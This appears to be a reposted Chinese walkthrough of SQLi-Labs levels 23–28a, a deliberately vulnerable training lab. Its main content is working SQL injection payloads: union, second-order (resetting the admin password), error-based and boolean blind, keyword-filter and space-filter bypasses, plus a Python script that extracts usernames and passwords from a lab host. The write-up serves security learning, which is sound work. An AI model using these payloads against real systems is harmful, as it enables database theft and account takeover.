《SQLi-Labs》04. Less 23~28a

news2024/11/15 18:00:23

title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp:Security-Lab
excerpt: 联合注入,注释符过滤绕过之构造闭合,%00 截断、二次注入、报错注入,空格过滤绕过,双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs

  • 索引
  • Less-23
    • 题解
  • Less-24
    • 题解
    • 总结
  • Less-25
    • 题解
  • Less-25a
    • 题解
  • Less-26
    • 题解
    • 总结
  • Less-26a
    • 题解
  • Less-27
    • 题解
  • Less-27a
    • 题解
  • Less-28
    • 题解
  • Less-28a
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-23:联合注入,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-24:二次注入。字符型【'】。
  • Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a:与 Less-25 差别不大。数字型。
  • Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-26a:与 Less-26 类似,布尔盲注。字符型【')】。
  • Less-27:与 Less-26 类似,报错注入。字符型【'】。
  • Less-27a:与 Less-27 类似,联合注入。字符型【"】。
  • Less-28:与前面几题都类似,联合注入。字符型【')】。
  • Less-28a:与 Less-28 不能说完全相同,只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位

url + ?id=1' union select 1,2'
url + ?id=1' union select 1,2,3'
url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法(使用 %00 截断):

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name:Dumb,Password:Dumb 登录。

在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户,注册 admin,提示用户已存在。

那就注册一个用户 admin'#,密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码,这里修改为 hello6

在这里插入图片描述

修改后再次查看数据库,可以看到 admin'# 用户密码没变,但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了,权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息,用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是:

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示,先测试一下:

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 ||&&

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。

爆库

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法,可以用以下字符代替:

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少,所以直接上报错注入。

爆表

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入,详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。

爆表

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本:

import requests

url = "http://192.168.8.222/lab/sqli/Less-26a/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Less-27

题解

Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似,但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题,只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select,其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。


谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。

——《格言联璧》(清)金缨

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1110969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

蓝牙助听模块场景分析之一

蓝牙助听模块场景分析之一 使用经典蓝牙助听&#xff0c;低成本&#xff0c;cVc降噪&#xff0c;支持蓝牙音频。 利用高通cVc算法&#xff0c;本地麦克风&#xff08;支持单麦和双麦&#xff09;声音输入到高通QCC芯片&#xff0c;然后QCC芯片DSP&#xff08;cVc算法&#xf…

第十五章总结

一.输入/输出流 1.输入流 InputStrema类是字节输入流的抽象类&#xff0c;它是所有字节输入流的父类。 该类中所有方法遇到错误都会引发IOException异常。 read()方法&#xff1a;从输入流中读取数据的下一个字节。返回0~255的int字节值。如果因为已经到达流末尾而没…

开源智能体来啦!港大团队发布OpenAgents,可以搞数据分析、聊天、支持200+插件

夕小瑶科技说 原创 作者 | 智商掉了一地、ZenMoore 港大的研究团队最近发布了一个新的开源 Agent 框架&#xff0c;名为 OpenAgents. 它可以用于实际用户场景&#xff0c;特别是在使用自然语言执行复杂任务的情况下。先前的语言智能体框架主要关注概念验证或者供开发人员使用&…

6个无版权、免费、高清图片素材库

找免费无版权图片素材&#xff0c;就上这6个网站&#xff0c;超高质量&#xff0c;可商用&#xff0c;赶紧收藏&#xff01; 1、菜鸟图库 https://www.sucai999.com/pic.html?vNTYwNDUx 网站主要为新手设计师提供免费素材&#xff0c;这些素材的质量都很高&#xff0c;类别也…

如何让你的Node.js应用程序处理数百万的API请求

目录 一、了解 Node.JS 和 API 请求 二、优化 NodeJS 以实现高性能 1.使用异步操作 2.实现缓存 3.优化数据库查询 4.负载平衡 5.水平扩展 三、测试和监控性能 1.负载测试 2.应用程序性能监控(APM) 四、结论 一、了解 Node.JS 和 API 请求 在我们深入研究这些技术之…

【C语言基础】结构体中内嵌联合体|联合体中内嵌结构体

&#x1f4e2;&#xff1a;如果你也对机器人、人工智能感兴趣&#xff0c;看来我们志同道合✨ &#x1f4e2;&#xff1a;不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 &#x1f4e2;&#xff1a;文章若有幸对你有帮助&#xff0c;可点赞 &#x1f44d;…

【算法|动态规划No.22】leetcode115. 不同的子序列

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【LeetCode】 &#x1f354;本专栏旨在提高自己算法能力的同时&#xff0c;记录一下自己的学习过程&#xff0c;希望…

jmeter接口自动化测试

前面我们复习了jmeter 的非图形化界面运行我们的测试接口。 大家可以翻看往期jmeter的文章。 具体来说就是&#xff1a;jmeter -n -t ****.jmx -l ****.jtl -e -o **** (*号代表路径&#xff09; 生成了测试报告。 但是这个非图形化运行有个缺点&#xff0c;就是只能运…

Pygame中实现图片的移动

在《Pygame中将鼠标形状设置为图片2-1》和《Pygame中将鼠标形状设置为图片2-2》中提到将鼠标设置为指定图片。接下来在该文章涉及到的代码基础之上&#xff0c;实现图片的移动&#xff0c;效果如图1所示。 图1 图片移动效果 从图1中可以看出&#xff0c;导入一个大猩猩的图片&…

DailyPractice.2023.10.19

文章目录 1. 24. 两两交换链表中的节点2. 23. 合并 K 个升序链表3.148. 排序链表4.236. 二叉树的最近公共祖先5.78. 子集6.138. 随机链表的复制7.25. K 个一组翻转链表 1. 24. 两两交换链表中的节点 24. 两两交换链表中的节点 /*** Definition for singly-linked list.* stru…

扫描全能王文档矫正逆向记录

背景 扫描全能王有个功能是将弯曲的文本拉直成平直的文本。在扫描全能王的app上&#xff0c;这个功能的入口在拍书籍的tab。同时在图片编辑页面&#xff0c;也有个按钮可以触发这个功能。它的效果大概如下。 这篇文章主要介绍如何逆向这个算法 初步定位 对扫描王apk初步逆向…

【软考-中级】系统集成项目管理工程师 【15 信息 (文档) 和配置管理】

持续更新。。。。。。。。。。。。。。。 【第十五章】信息&#xff08;文档&#xff09;和配置管理 知识精讲考点 1:软件文档一般分为三类:开发文档、产品文档、管理文档。考点 2:文档的质量可以分为四级:考点 3:配置管考点 4:考点 5:考点6:考点 7:配置项版本号:考点 8:考点9…

[BUUCTF newstar week2] crypto/pwn/reverse

难度上来了&#xff0c;而且比赛加多了&#xff0c;newStar/0xGame/SHCTF&#xff0c;moe也结束了&#xff0c;周末还有TCP1P&#xff0c;来不及写东西了。抓时间先一个个来吧。 crypto 滴啤 就是dp的意思&#xff0c;也就是泄露dp求分解 from Crypto.Util.number import *…

汽车标定的ASAM MCD-1 POD

1.导语 ​做汽车标定slave基础软件以及做参数标定的同学&#xff0c;对ASAM MCD-2-MC(ASAP2&#xff0c;人话A2L文件)、ASAM MCD-1-XCP&#xff08;人话xcp协议&#xff09;一定非常熟悉。 常见的标定套件也是由很熟悉的供应商提供&#xff0c;例如ETAS的INCAES500系列产品、…

Hadoop3教程(二十三):Yarn的三大调度器

文章目录 &#xff08;129&#xff09;FIFO调度器&#xff08;130&#xff09;容量调度器特点资源分配算法 &#xff08;131&#xff09;公平调度器特点缺额的定义队列资源分配方式基于FIFO策略基于Fair策略资源分配算法 DRF策略 参考文献 &#xff08;129&#xff09;FIFO调度…

R6G azide, 5-isomer具有良好的水溶性,2135330-71-9

试剂 | 基础知识概述&#xff08;部分&#xff09;: 英文名称&#xff1a;R6G azide, 5-isomer CAS&#xff1a;2135330-71-9 分子式&#xff1a;C30H32N6O4 分子量&#xff1a;540.61 规格标准&#xff1a;10mg&#xff0c;25mg&#xff0c;50mg&#xff0c;可提供mg级以…

C1N短网址 | 核心专利(1) - 基于随机字符实现的网址缩短

1.短链接介绍 举个例子&#xff0c;现在我的博客地址是这个&#xff1a;https://blog.csdn.net/liwei128/article/details/91358071 (55个字符)&#xff0c;我通过短链接服务可以将上面的地址转成http://m.c1n.cn (15个字符) 那我为什么要将原有的URL转成较短的链接呢&#x…

C++QT---QT-day3

使用手动连接&#xff0c;将登录框中的取消按钮使用qt4版本的连接到自定义的槽函数中&#xff0c;在自定义的槽函数中调用关闭函数将登录按钮使用qt5版本的连接到自定义的槽函数中&#xff0c;在槽函数中判断ui界面上输入的账号是否为"admin"&#xff0c;密码是否为&…

https证书配置(nginx)

HTTPS 是什么 HTTPS 是一种应用层协议&#xff0c;是一种透过计算机网络进行安全通信的传输协议&#xff0c;HTTPS 经由 HTTP 进行通信&#xff0c;但是在 HTTP 的基础上引入了一个加密层&#xff0c;使用 SSL/TLS 来加密数据包&#xff0c;HTTPS 开发的主要目的&#xff0c;是…

重磅!海云安联合深圳大学共同举行“人工智能联合实验室”揭牌仪式

2023年10月17日&#xff0c;大数据系统计算技术国家工程实验室-深圳海云安网络安全技术有限公司人工智能联合实验室(以下简称“联合实验室” )揭牌仪式在深圳大学致真楼图灵会议室举行。 大数据国家工程实验室执行主任李坚强、成果转化办公室主任王利、健康大数据研究中心副主任…